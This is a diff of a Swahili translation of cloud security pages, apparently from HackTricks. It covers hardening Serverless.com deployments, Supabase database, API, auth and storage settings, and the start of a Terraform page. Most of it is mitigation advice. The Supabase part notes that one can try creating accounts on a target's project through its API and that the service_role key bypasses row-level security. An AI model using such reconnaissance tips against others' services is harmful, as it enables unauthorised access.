||||
</details>
|
||||
|
||||
5. Mafunzo yanahitaji kuunda faili `createCustomer.js` ambayo kimsingi itaunda kiunganishi kipya cha API kinachoshughulikiwa na faili mpya ya JS na yanahitaji kubadilisha faili `serverless.yml` ili kufanya iweze kuunda **meza mpya ya DynamoDB**, kufafanua **kigezo cha mazingira**, jukumu ambalo litakuwa likitumia lambdas zilizozalishwa.
|
||||
5. Mafunzo yanahitaji kuunda faili `createCustomer.js` ambayo kimsingi itaunda kiunganishi kipya cha API kinachoshughulikiwa na faili mpya ya JS na yanahitaji kubadilisha faili `serverless.yml` ili kuifanya izalisha **meza mpya ya DynamoDB**, kufafanua **kigezo cha mazingira**, jukumu ambalo litakuwa likitumia lambdas zilizozalishwa.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="createCustomer.js" }}
|
||||
@@ -481,19 +481,19 @@ TableName: ${self:service}-customerTable-${sls:stage}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
6. Tumia **`serverless deploy`**
|
||||
1. Utekelezaji utafanywa kupitia CloudFormation Stack
|
||||
6. Tumia **`serverless deploy`** kupeleka
|
||||
1. Upelekaji utafanywa kupitia CloudFormation Stack
|
||||
2. Kumbuka kwamba **lambdas zinapatikana kupitia API gateway** na si kupitia URLs za moja kwa moja
|
||||
7. **Jaribu**
|
||||
1. Hatua ya awali itachapisha **URLs** ambapo kazi za lambda za mwisho wa API zako zimewekwa
|
||||
1. Hatua ya awali itachapisha **URLs** ambapo kazi za lambda za mwisho wa API zako zimepelekwa
|
||||
|
||||
## Mapitio ya Usalama wa Serverless.com
|
||||
|
||||
### **Mifumo na Ruhusa za IAM Zilizokosewa**
|
||||
|
||||
Mifumo ya IAM iliyo na ruhusa nyingi inaweza kutoa ufikiaji usioidhinishwa kwa rasilimali za wingu, na kusababisha uvujaji wa data au upotoshaji wa rasilimali.
|
||||
Mifumo ya IAM yenye ruhusa nyingi sana inaweza kutoa ufikiaji usioidhinishwa kwa rasilimali za wingu, na kusababisha uvujaji wa data au upotoshaji wa rasilimali.
|
||||
|
||||
Wakati hakuna ruhusa zilizotajwa kwa kazi ya Lambda, mfumo wenye ruhusa za kuzalisha tu kumbukumbu utaundwa, kama:
|
||||
Wakati hakuna ruhusa zilizotajwa kwa kazi ya Lambda, mfumo utaundwa na ruhusa za kuzalisha tu kumbukumbu, kama:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -525,7 +525,7 @@ Wakati hakuna ruhusa zilizotajwa kwa kazi ya Lambda, mfumo wenye ruhusa za kuzal
|
||||
```
|
||||
</details>
|
||||
|
||||
#### **Mikakati ya Kupunguza**
|
||||
#### **Mikakati ya Kupunguza Hatari**
|
||||
|
||||
- **Kanuni ya Haki Ndogo:** Panga ruhusa zinazohitajika tu kwa kila kazi.
|
||||
|
||||
@@ -545,15 +545,15 @@ Action:
|
||||
Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
|
||||
```
|
||||
|
||||
- **Tumia Majukumu Mbalimbali:** Tofautisha majukumu kulingana na mahitaji ya kazi.
|
||||
- **Tumia Majukumu Tofauti:** Tofautisha majukumu kulingana na mahitaji ya kazi.
|
||||
|
||||
---
|
||||
|
||||
### **Siri zisizo Salama na Usimamizi wa Mipangilio**
|
||||
### **Siri na Usimamizi wa Mipangilio Usio Salama**
|
||||
|
||||
Kuhifadhi taarifa nyeti (mfano, funguo za API, akidi za database) moja kwa moja katika **`serverless.yml`** au msimbo kunaweza kusababisha kufichuliwa ikiwa hifadhi zitashambuliwa.
|
||||
Kuhifadhi taarifa nyeti (k.m., funguo za API, akidi za database) moja kwa moja katika **`serverless.yml`** au msimbo kunaweza kusababisha kufichuliwa ikiwa hifadhi za data zitashambuliwa.
|
||||
|
||||
Njia **iliyopendekezwa** ya kuhifadhi mabadiliko ya mazingira katika faili ya **`serverless.yml`** kutoka serverless.com (wakati wa kuandika hii) ni kutumia watoa huduma wa `ssm` au `s3`, ambao unaruhusu kupata **maadili ya mazingira kutoka vyanzo hivi wakati wa kutekeleza** na **kuunda** mabadiliko ya mazingira ya **lambdas** na **maandishi yasiyo na maadili**!
|
||||
Njia **iliyopendekezwa** ya kuhifadhi mabadiliko ya mazingira katika faili ya **`serverless.yml`** kutoka serverless.com (wakati wa kuandika hii) ni kutumia watoa huduma wa `ssm` au `s3`, ambao unaruhusu kupata **maadili ya mazingira kutoka vyanzo hivi wakati wa kupeleka** na **kuunda** mabadiliko ya mazingira ya **lambdas** na **maandishi yasiyo na maadili**!
|
||||
|
||||
> [!CAUTION]
|
||||
> Hivyo, mtu yeyote mwenye ruhusa ya kusoma mipangilio ya lambdas ndani ya AWS ataweza **kufikia mabadiliko haya yote ya mazingira kwa maandiko wazi!**
|
||||
@@ -564,10 +564,10 @@ provider:
|
||||
environment:
|
||||
DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
|
||||
```
|
||||
And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
|
||||
Na hata hii inazuia kuweka thamani ya mabadiliko ya mazingira katika faili ya **`serverless.yml`**, thamani itapatikana wakati wa kutekeleza na itakuwa **imeongezwa kwa maandiko wazi ndani ya mabadiliko ya mazingira ya lambda**.
|
||||
|
||||
> [!TIP]
|
||||
> Njia inayopendekezwa ya kuhifadhi mabadiliko ya mazingira kwa kutumia serveless.com ingekuwa **kuhifadhi katika siri ya AWS** na kuhifadhi tu jina la siri katika mabadiliko ya mazingira na **kodhi ya lambda inapaswa kukusanya hiyo**.
|
||||
> Njia inayopendekezwa ya kuhifadhi mabadiliko ya mazingira kwa kutumia serveless.com ingekuwa **kuhifadhi katika siri ya AWS** na kuhifadhi tu jina la siri katika mabadiliko ya mazingira na **kod ya lambda inapaswa kuikusanya**.
|
||||
|
||||
#### **Mikakati ya Kupunguza**
|
||||
|
||||
@@ -577,13 +577,13 @@ And even if this prevents hardcoding the environment variable value in the **`se
|
||||
|
||||
---
|
||||
|
||||
### **Msimbo na Kazi Zenye Ukatili**
|
||||
### **Msimbo na Mtegemeo Wenye Ukatili**
|
||||
|
||||
Kazi au utegemezi zisizokuwa na usalama zinaweza kuleta udhaifu, wakati usimamizi mbaya wa ingizo unaweza kusababisha mashambulizi ya kuingiza msimbo.
|
||||
Mtegemeo wa zamani au usio salama unaweza kuleta udhaifu, wakati usimamizi mbaya wa ingizo unaweza kusababisha mashambulizi ya kuingiza msimbo.
|
||||
|
||||
#### **Mikakati ya Kupunguza**
|
||||
|
||||
- **Usimamizi wa Utegemezi:** Sasisha mara kwa mara utegemezi na scan kwa udhaifu.
|
||||
- **Usimamizi wa Mtegemeo:** Sasisha mara kwa mara mtegemeo na scan kwa udhaifu.
|
||||
|
||||
```yaml
|
||||
plugins:
|
||||
@@ -597,28 +597,28 @@ plugins:
|
||||
|
||||
---
|
||||
|
||||
### **Kukosa Kurekodi na Kufuata**
|
||||
### **Kukosekana kwa Usajili na Ufuatiliaji Sahihi**
|
||||
|
||||
Bila kurekodi na kufuatilia vizuri, shughuli za uhalifu zinaweza kukosa kugunduliwa, kuchelewesha majibu ya tukio.
|
||||
Bila usajili na ufuatiliaji sahihi, shughuli za uhalifu zinaweza kukosa kugunduliwa, kuchelewesha majibu ya tukio.
|
||||
|
||||
#### **Mikakati ya Kupunguza**
|
||||
|
||||
- **Kurekodi Kati:** Punguza kumbukumbu kwa kutumia huduma kama **AWS CloudWatch** au **Datadog**.
|
||||
- **Usajili wa Kati:** Punguza kumbukumbu kwa kutumia huduma kama **AWS CloudWatch** au **Datadog**.
|
||||
|
||||
```yaml
|
||||
plugins:
|
||||
- serverless-plugin-datadog
|
||||
```
|
||||
|
||||
- **Washa Kurekodi Kwa Kina:** Pata taarifa muhimu bila kufichua data nyeti.
|
||||
- **Weka Arifa:** Sanidi arifa kwa shughuli au tofauti za kushangaza.
|
||||
- **Kufuata Mara kwa Mara:** Fuata mara kwa mara kumbukumbu na vipimo kwa matukio ya usalama yanayoweza kutokea.
|
||||
- **Washa Usajili wa Kina:** Pata taarifa muhimu bila kufichua data nyeti.
|
||||
- **Weka Arifa:** Sanidi arifa kwa shughuli za kushangaza au tofauti.
|
||||
- **Ufuatiliaji wa Mara kwa Mara:** Fuata mara kwa mara kumbukumbu na vipimo kwa matukio ya usalama yanayoweza kutokea.
|
||||
|
||||
---
|
||||
|
||||
### **Mikakati ya API Gateway Isiyo Salama**
|
||||
|
||||
APIs zilizo wazi au zisizo salama zinaweza kutumika kwa ufikiaji usioidhinishwa, mashambulizi ya Denial of Service (DoS), au mashambulizi ya tovuti.
|
||||
APIs zilizo wazi au zisizo salama zinaweza kutumika kwa ufikiaji usioidhinishwa, mashambulizi ya Denial of Service (DoS), au mashambulizi ya cross-site.
|
||||
|
||||
#### **Mikakati ya Kupunguza**
|
||||
|
||||
@@ -635,7 +635,7 @@ method: get
|
||||
authorizer: aws_iam
|
||||
```
|
||||
|
||||
- **Kukataza Kiwango na Kuchelewesha:** Zuia matumizi mabaya kwa kupunguza viwango vya maombi.
|
||||
- **Kikomo cha Kiwango na Throttling:** Zuia matumizi mabaya kwa kupunguza viwango vya maombi.
|
||||
|
||||
```yaml
|
||||
provider:
|
||||
@@ -645,7 +645,7 @@ burstLimit: 200
|
||||
rateLimit: 100
|
||||
```
|
||||
|
||||
- **Sanidi CORS Salama:** Punguza asili, mbinu, na vichwa vinavyoruhusiwa.
|
||||
- **Usanidi wa CORS Salama:** Punguza asili, mbinu, na vichwa vinavyoruhusiwa.
|
||||
|
||||
```yaml
|
||||
functions:
|
||||
@@ -661,11 +661,11 @@ headers:
|
||||
- Content-Type
|
||||
```
|
||||
|
||||
- **Tumia Firewalls za Programu za Mtandao (WAF):** Chuja na fuatilia maombi ya HTTP kwa mifumo ya uhalifu.
|
||||
- **Tumia Firewalls za Programu za Mtandao (WAF):** Chuja na ufuatilie maombi ya HTTP kwa mifumo ya uhalifu.
|
||||
|
||||
---
|
||||
|
||||
### **Kukosa Kutengwa kwa Kazi**
|
||||
### **Kukosekana kwa Kutengwa kwa Kazi**
|
||||
|
||||
Rasilimali zinazoshirikiwa na kutengwa kwa kutosha kunaweza kusababisha kupanda kwa mamlaka au mwingiliano usio na makusudi kati ya kazi.
|
||||
|
||||
@@ -673,7 +673,7 @@ Rasilimali zinazoshirikiwa na kutengwa kwa kutosha kunaweza kusababisha kupanda
|
||||
|
||||
- **Tenga Kazi:** Panga rasilimali tofauti na majukumu ya IAM ili kuhakikisha uendeshaji huru.
|
||||
- **Kugawanya Rasilimali:** Tumia hifadhidata tofauti au ndoo za kuhifadhi kwa kazi tofauti.
|
||||
- **Tumia VPCs:** Weka kazi ndani ya Mifumo ya Kibinafsi ya Mtandao kwa kutengwa kwa mtandao iliyoimarishwa.
|
||||
- **Tumia VPCs:** Weka kazi ndani ya Mifumo ya Kibinafsi ya Wingu kwa kutengwa kwa mtandao iliyoimarishwa.
|
||||
|
||||
```yaml
|
||||
provider:
|
||||
@@ -684,17 +684,17 @@ subnetIds:
|
||||
- subnet-xxxxxx
|
||||
```
|
||||
|
||||
- **Punguza Ruhusa za Kazi:** Hakikisha kazi haziwezi kufikia au kuingilia rasilimali za kila mmoja isipokuwa inahitajika wazi.
|
||||
- **Punguza Mamlaka ya Kazi:** Hakikisha kazi haziwezi kufikia au kuingilia rasilimali za kila mmoja isipokuwa inahitajika wazi.
|
||||
|
||||
---
|
||||
|
||||
### **Kukosa Ulinzi wa Data**
|
||||
### **Kukosekana kwa Ulinzi wa Data**
|
||||
|
||||
Data isiyosimbwa katika hali ya kupumzika au katika usafiri inaweza kufichuliwa, ikisababisha uvunjaji wa data au uharibifu.
|
||||
Data isiyosimbwa iliyohifadhiwa au katika usafirishaji inaweza kufichuliwa, ikisababisha uvunjaji wa data au kubadilishwa.
|
||||
|
||||
#### **Mikakati ya Kupunguza**
|
||||
|
||||
- **Simbua Data Katika Hali ya Kupumzika:** Tumia vipengele vya usimbaji vya huduma za wingu.
|
||||
- **Simbua Data iliyohifadhiwa:** Tumia vipengele vya usimbaji wa huduma za wingu.
|
||||
|
||||
```yaml
|
||||
resources:
|
||||
@@ -706,19 +706,19 @@ SSESpecification:
|
||||
SSEEnabled: true
|
||||
```
|
||||
|
||||
- **Simbua Data Katika Usafiri:** Tumia HTTPS/TLS kwa usafiri wote wa data.
|
||||
- **Simbua Data katika Usafirishaji:** Tumia HTTPS/TLS kwa usafirishaji wote wa data.
|
||||
- **Wasiliana kwa API Salama:** Lazimisha itifaki za usimbaji na kuthibitisha vyeti.
|
||||
- **Simamisha Funguo za Usimbaji kwa Usalama:** Tumia huduma za funguo zinazodhibitiwa na kubadilisha funguo mara kwa mara.
|
||||
|
||||
---
|
||||
|
||||
### **Kukosa Usimamizi wa Makosa Sahihi**
|
||||
### **Kukosekana kwa Usimamizi Sahihi wa Makosa**
|
||||
|
||||
Ujumbe wa makosa wa kina unaweza kufichua taarifa nyeti kuhusu miundombinu au msingi wa msimbo, wakati makosa yasiyoshughulikiwa yanaweza kusababisha kuanguka kwa programu.
|
||||
|
||||
#### **Mikakati ya Kupunguza**
|
||||
|
||||
- **Ujumbe wa Makosa ya Jumla:** Epuka kufichua maelezo ya ndani katika majibu ya makosa.
|
||||
- **Ujumbe wa Makosa wa Kijeni:** Epuka kufichua maelezo ya ndani katika majibu ya makosa.
|
||||
|
||||
```javascript
|
||||
javascriptCopy code// Mfano katika Node.js
|
||||
@@ -735,78 +735,78 @@ body: JSON.stringify({ message: 'Internal Server Error' }),
|
||||
};
|
||||
```
|
||||
|
||||
- **Usimamizi wa Makosa Kati:** Simamia na safisha makosa kwa njia ya kawaida katika kazi zote.
|
||||
- **Fuatilia na Kurekodi Makosa:** Fuata na changanua makosa ndani bila kufichua maelezo kwa watumiaji wa mwisho.
|
||||
- **Usimamizi wa Kati wa Makosa:** Simamia na safisha makosa kwa njia ya kawaida katika kazi zote.
|
||||
- **Fuata na Weka Kumbukumbu za Makosa:** Fuata na kuchambua makosa ndani bila kufichua maelezo kwa watumiaji wa mwisho.
|
||||
|
||||
---
|
||||
|
||||
### **Mikakati ya Utekelezaji Isiyo Salama**
|
||||
### **Mikakati Isiyo Salama ya Kutekeleza**
|
||||
|
||||
Mikakati ya utekelezaji iliyofichuliwa au ufikiaji usioidhinishwa kwa mabomba ya CI/CD inaweza kusababisha utekelezaji wa msimbo wa uhalifu au mipangilio isiyo sahihi.
|
||||
Mikakati ya kutekeleza iliyofichuliwa au ufikiaji usioidhinishwa kwa mabomba ya CI/CD inaweza kusababisha kutekelezwa kwa msimbo wa uhalifu au mipangilio isiyo sahihi.
|
||||
|
||||
#### **Mikakati ya Kupunguza**
|
||||
|
||||
- **Salama Mabomba ya CI/CD:** Tekeleza udhibiti mkali wa ufikiaji, uthibitishaji wa hatua nyingi (MFA), na ukaguzi wa mara kwa mara.
|
||||
- **Hifadhi Mipangilio kwa Usalama:** Hifadhi faili za utekelezaji bila siri zilizofichwa na data nyeti.
|
||||
- **Hifadhi Mabomba ya CI/CD kwa Usalama:** Tekeleza udhibiti mkali wa ufikiaji, uthibitishaji wa hatua nyingi (MFA), na ukaguzi wa mara kwa mara.
|
||||
- **Hifadhi Mipangilio kwa Usalama:** Hifadhi faili za kutekeleza bila siri zilizowekwa na data nyeti.
|
||||
- **Tumia Zana za Usalama za Miundombinu kama Msimbo (IaC):** Tumia zana kama **Checkov** au **Terraform Sentinel** kutekeleza sera za usalama.
|
||||
- **Utekelezaji Usio Badilika:** Zuia mabadiliko yasiyoidhinishwa baada ya utekelezaji kwa kupitisha mazoea ya miundombinu isiyobadilika.
|
||||
- **Mikakati Isiyobadilika:** Zuia mabadiliko yasiyoidhinishwa baada ya kutekeleza kwa kupitisha mbinu za miundombinu isiyobadilika.
|
||||
|
||||
---
|
||||
|
||||
### **Udhaifu katika Plugins na Nyongeza**
|
||||
|
||||
Kutumia plugins za tatu zisizokaguliwa au zenye uhalifu kunaweza kuleta udhaifu katika programu zako za serverless.
|
||||
Kutumia plugins za tatu zisizopitiwa au zenye uhalifu kunaweza kuleta udhaifu katika programu zako za serverless.
|
||||
|
||||
#### **Mikakati ya Kupunguza**
|
||||
|
||||
- **Kagua Plugins kwa Kina:** Kadiria usalama wa plugins kabla ya kuingizwa, ukipendelea zile kutoka vyanzo vinavyoaminika.
|
||||
- **Pitia Plugins kwa Kina:** Kadiria usalama wa plugins kabla ya kuingizwa, ukipendelea zile kutoka vyanzo vinavyoaminika.
|
||||
- **Punguza Matumizi ya Plugins:** Tumia tu plugins zinazohitajika ili kupunguza uso wa shambulio.
|
||||
- **Fuatilia Sasisho za Plugins:** Hifadhi plugins zikiwa na sasisho ili kufaidika na patches za usalama.
|
||||
- **Tenga Mazingira ya Plugins:** Endesha plugins katika mazingira yaliyotengwa ili kudhibiti hatari zinazoweza kutokea.
|
||||
- **Fuata Sasisho za Plugins:** Hifadhi plugins zikiwa za kisasa ili kufaidika na patches za usalama.
|
||||
- **Tenga Mazingira ya Plugins:** Endesha plugins katika mazingira yaliyotengwa ili kudhibiti makosa yanayoweza kutokea.
|
||||
|
||||
---
|
||||
|
||||
### **Kufichua kwa Mipangilio Nyeti**
|
||||
### **Kufichuliwa kwa Mipangilio Nyeti**
|
||||
|
||||
Kazi zinazopatikana kwa umma au APIs zisizo na mipaka zinaweza kutumika kwa shughuli zisizoidhinishwa.
|
||||
Kazi zinazopatikana hadharani au APIs zisizo na kikomo zinaweza kutumika kwa shughuli zisizoidhinishwa.
|
||||
|
||||
#### **Mikakati ya Kupunguza**
|
||||
|
||||
- **Punguza Ufikiaji wa Kazi:** Tumia VPCs, vikundi vya usalama, na sheria za moto ili kupunguza ufikiaji kwa vyanzo vinavyoaminika.
|
||||
- **Tekeleza Uthibitishaji Thabiti:** Hakikisha kwamba mipangilio yote iliyofichuliwa inahitaji uthibitishaji na uidhinishaji sahihi.
|
||||
- **Tumia Mabango ya API kwa Usalama:** Sanidi Mabango ya API kutekeleza sera za usalama, ikiwa ni pamoja na uthibitishaji wa ingizo na kukataza kiwango.
|
||||
- **Zima Mipangilio Isiyotumika:** Kagua mara kwa mara na zima mipangilio yoyote ambayo haitumiki tena.
|
||||
- **Tumia API Gateways kwa Usalama:** Sanidi API Gateways kutekeleza sera za usalama, ikiwa ni pamoja na uthibitishaji wa ingizo na kikomo cha kiwango.
|
||||
- **Zima Mipangilio Isiyotumika:** Pitia mara kwa mara na zima mipangilio yoyote ambayo haitumiki tena.
|
||||
|
||||
---
|
||||
|
||||
### **Ruhusa Kupita Kiasi kwa Wajumbe wa Timu na Washirikishi wa Nje**
|
||||
### **Mamlaka Mengi kwa Wajumbe wa Timu na Washirikishi wa Nje**
|
||||
|
||||
Kutoa ruhusa kupita kiasi kwa wajumbe wa timu na washirikishi wa nje kunaweza kusababisha ufikiaji usioidhinishwa, uvunjaji wa data, na matumizi mabaya ya rasilimali. Hatari hii inaongezeka katika mazingira ambapo watu wengi wana viwango tofauti vya ufikiaji, ikiongeza uso wa shambulio na uwezekano wa vitisho vya ndani.
|
||||
Kutoa mamlaka mengi kwa wajumbe wa timu na washirikishi wa nje kunaweza kusababisha ufikiaji usioidhinishwa, uvunjaji wa data, na matumizi mabaya ya rasilimali. Hatari hii inaongezeka katika mazingira ambapo watu wengi wana viwango tofauti vya ufikiaji, ikiongeza uso wa shambulio na uwezekano wa vitisho vya ndani.
|
||||
|
||||
#### **Mikakati ya Kupunguza**
|
||||
|
||||
- **Kanuni ya Ruhusa Ndogo:** Hakikisha kwamba wajumbe wa timu na washirikishi wana ruhusa tu zinazohitajika kutekeleza majukumu yao.
|
||||
- **Kanuni ya Mamlaka ya Chini:** Hakikisha kwamba wajumbe wa timu na washirikishi wana mamlaka tu yanayohitajika kutekeleza majukumu yao.
|
||||
|
||||
---
|
||||
|
||||
### **Usalama wa Funguo za Ufikiaji na Funguo za Leseni**
|
||||
|
||||
**Funguo za Ufikiaji** na **Funguo za Leseni** ni ithibati muhimu zinazotumika kuthibitisha na kuidhinisha mwingiliano na CLI ya Serverless Framework.
|
||||
**Funguo za Ufikiaji** na **Funguo za Leseni** ni ithibati muhimu zinazotumika kuthibitisha na kuidhinisha mwingiliano na Serverless Framework CLI.
|
||||
|
||||
- **Funguo za Leseni:** Ni vitambulisho vya kipekee vinavyohitajika kwa uthibitishaji wa ufikiaji kwa Serverless Framework Toleo la 4 ambalo linaruhusu kuingia kupitia CLI.
|
||||
- **Funguo za Ufikiaji:** Ithibati zinazoruhusu CLI ya Serverless Framework kuthibitisha na Dashibodi ya Serverless Framework. Wakati wa kuingia na `serverless` cli funguo ya ufikiaji itaundwa na **kuhifadhiwa kwenye laptop**. Unaweza pia kuiseti kama mabadiliko ya mazingira yanayoitwa `SERVERLESS_ACCESS_KEY`.
|
||||
- **Funguo za Leseni:** Ni vitambulisho vya kipekee vinavyohitajika kwa uthibitishaji wa ufikiaji wa Serverless Framework Toleo la 4 ambalo linaruhusu kuingia kupitia CLI.
|
||||
- **Funguo za Ufikiaji:** Ithibati zinazoruhusu Serverless Framework CLI kuthibitisha na Dashibodi ya Serverless Framework. Wakati wa kuingia na `serverless` cli funguo ya ufikiaji itakuwa **imeundwa na kuhifadhiwa kwenye laptop**. Unaweza pia kuipanga kama mabadiliko ya mazingira yanayoitwa `SERVERLESS_ACCESS_KEY`.
|
||||
|
||||
#### **Hatari za Usalama**
|
||||
|
||||
1. **Kufichuliwa Kupitia Hifadhi za Msimbo:**
|
||||
- Kuweka au kwa bahati mbaya kupeleka Funguo za Ufikiaji na Funguo za Leseni kwenye mifumo ya kudhibiti toleo kunaweza kusababisha ufikiaji usioidhinishwa.
|
||||
- Kuweka au kwa bahati mbaya kupeleka Funguo za Ufikiaji na Funguo za Leseni kwenye mifumo ya udhibiti wa toleo kunaweza kusababisha ufikiaji usioidhinishwa.
|
||||
2. **Hifadhi Isiyo Salama:**
|
||||
- Kuhifadhi funguo katika maandiko wazi ndani ya mabadiliko ya mazingira au faili za mipangilio bila usimbaji sahihi kunaongeza uwezekano wa kufichuliwa.
|
||||
3. **Usambazaji Mbaya:**
|
||||
- Kushiriki funguo kupitia njia zisizo salama (k.m., barua pepe, gumzo) kunaweza kusababisha kukamatwa na wahalifu.
|
||||
4. **Kukosa Mzunguko:**
|
||||
- Kutokuzungusha funguo mara kwa mara kunaongeza kipindi cha kufichuliwa ikiwa funguo zitavunjwa.
|
||||
5. **Ruhusa Kupita Kiasi:**
|
||||
- Funguo zenye ruhusa pana zinaweza kutumika kufanya vitendo visivyoidhinishwa katika rasilimali nyingi.
|
||||
- Kushiriki funguo kupitia njia zisizo salama (k.m., barua pepe, mazungumzo) kunaweza kusababisha kukamatwa na wahalifu.
|
||||
4. **Kukosa Kubadilisha:**
|
||||
- Kutobadilisha funguo mara kwa mara kunapanua kipindi cha kufichuliwa ikiwa funguo zitakamatwa.
|
||||
5. **Mamlaka Mengi:**
|
||||
- Funguo zenye mamlaka pana zinaweza kutumika kufanya vitendo visivyoidhinishwa katika rasilimali nyingi.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -8,12 +8,12 @@ Kulingana na [**ukurasa wao wa kutua**](https://supabase.com/): Supabase ni mbad
|
||||
|
||||
### Subdomain
|
||||
|
||||
Kimsingi, wakati mradi unaundwa, mtumiaji atapata subdomain ya supabase.co kama: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
Kimsingi wakati mradi unaundwa, mtumiaji atapata subdomain ya supabase.co kama: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
|
||||
## **Mipangilio ya Hifadhidata**
|
||||
|
||||
> [!TIP]
|
||||
> **Taarifa hii inaweza kupatikana kutoka kiungo kama `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
> **Taarifa hii inaweza kupatikana kutoka kwa kiungo kama `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
|
||||
Hii **hifadhidata** itapelekwa katika eneo fulani la AWS, na ili kuungana nayo itakuwa inawezekana kuungana na: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (hii iliundwa katika us-west-1).\
|
||||
Neno la siri ni **neno la siri ambalo mtumiaji aliweka** awali.
|
||||
@@ -31,7 +31,7 @@ Sehemu hii pia ina chaguzi za:
|
||||
## Mipangilio ya API
|
||||
|
||||
> [!TIP]
|
||||
> **Taarifa hii inaweza kupatikana kutoka kiungo kama `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
> **Taarifa hii inaweza kupatikana kutoka kwa kiungo kama `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
|
||||
URL ya kufikia API ya supabase katika mradi wako itakuwa kama: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
@@ -101,7 +101,7 @@ Priority: u=1, i
|
||||
|
||||
Hivyo, kila wakati unapotambua mteja anayetumia supabase na subdomain waliyotolewa (inawezekana kwamba subdomain ya kampuni ina CNAME juu ya subdomain yao ya supabase), unaweza kujaribu **kuunda akaunti mpya kwenye jukwaa kwa kutumia supabase API**.
|
||||
|
||||
### funguo za siri / service_role api
|
||||
### funguo za siri / huduma_role api
|
||||
|
||||
Funguo ya siri ya API pia itaundwa na **`role: "service_role"`**. Funguo hii ya API inapaswa kuwa ya siri kwa sababu itakuwa na uwezo wa kupita **Row Level Security**.
|
||||
|
||||
@@ -116,9 +116,9 @@ Funguo ya API inaonekana kama hii: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M
|
||||
### Usajili
|
||||
|
||||
> [!TIP]
|
||||
> Kwa **kawaida** supabase itaruhusu **watumiaji wapya kuunda akaunti** kwenye mradi wako kwa kutumia viungo vya API vilivyotajwa hapo awali.
|
||||
> Kwa **kawaida** supabase itaruhusu **watumiaji wapya kuunda akaunti** kwenye mradi wako kwa kutumia njia za API zilizotajwa hapo awali.
|
||||
|
||||
Hata hivyo, akaunti hizi mpya, kwa kawaida, **zitahitaji kuthibitisha anwani yao ya barua pepe** ili waweze kuingia kwenye akaunti. Inawezekana kuwezesha **"Ruhusu kuingia kwa siri"** ili kuruhusu watu kuingia bila kuthibitisha anwani yao ya barua pepe. Hii inaweza kutoa ufikiaji wa **data zisizotarajiwa** (wanapata majukumu `public` na `authenticated`).\
|
||||
Hata hivyo, akaunti hizi mpya, kwa kawaida, **zitahitaji kuthibitisha anwani yao ya barua pepe** ili waweze kuingia kwenye akaunti. Inawezekana kuwezesha **"Ruhusu kuingia bila jina"** ili kuruhusu watu kuingia bila kuthibitisha anwani yao ya barua pepe. Hii inaweza kutoa ufikiaji wa **data zisizotarajiwa** (wanapata majukumu `public` na `authenticated`).\
|
||||
Hii ni wazo mbaya sana kwa sababu supabase inatoza kwa kila mtumiaji aliye hai hivyo watu wanaweza kuunda watumiaji na kuingia na supabase itatoza kwa hao:
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
@@ -140,13 +140,13 @@ Inawezekana kuweka SMTP kutuma barua pepe.
|
||||
- Weka muda wa kuisha kwa funguo za ufikiaji (3600 kwa kawaida)
|
||||
- Weka kugundua na kufuta funguo za upya zinazoweza kuwa na hatari na muda wa kuisha
|
||||
- MFA: Onyesha ni vigezo vingapi vya MFA vinaweza kuandikishwa kwa wakati mmoja kwa mtumiaji (10 kwa kawaida)
|
||||
- Max Direct Database Connections: Idadi ya juu ya muunganisho inayotumika kuthibitisha (10 kwa kawaida)
|
||||
- Max Direct Database Connections: Idadi ya juu ya muunganisho inayotumika kwa uthibitisho (10 kwa kawaida)
|
||||
- Max Request Duration: Muda wa juu unaoruhusiwa kwa ombi la Auth kudumu (10s kwa kawaida)
|
||||
|
||||
## Hifadhi
|
||||
|
||||
> [!TIP]
|
||||
> Supabase inaruhusu **kuhifadhi faili** na kuzipatia ufikiaji kupitia URL (inatumia S3 buckets).
|
||||
> Supabase inaruhusu **hifadhi ya faili** na kufanya zipatikane kupitia URL (inatumia S3 buckets).
|
||||
|
||||
- Weka kikomo cha ukubwa wa faili zinazopakiwa (kawaida ni 50MB)
|
||||
- Muunganisho wa S3 unapatikana kwa URL kama: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
@@ -154,6 +154,6 @@ Inawezekana kuweka SMTP kutuma barua pepe.
|
||||
|
||||
## Edge Functions
|
||||
|
||||
Inawezekana **kuhifadhi siri** katika supabase pia ambazo zitakuwa **zinapatikana na edge functions** (zinaweza kuundwa na kufutwa kutoka kwenye wavuti, lakini haiwezekani kufikia thamani yao moja kwa moja).
|
||||
Inawezekana **hifadhi siri** katika supabase pia ambazo zitakuwa **zinapatikana na edge functions** (zinaweza kuundwa na kufutwa kutoka kwenye wavuti, lakini haiwezekani kufikia thamani yao moja kwa moja).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,44 +1,44 @@
|
||||
# Terraform Security
|
||||
# Usalama wa Terraform
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Taarifa za Msingi
|
||||
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
[Kutoka kwenye nyaraka:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
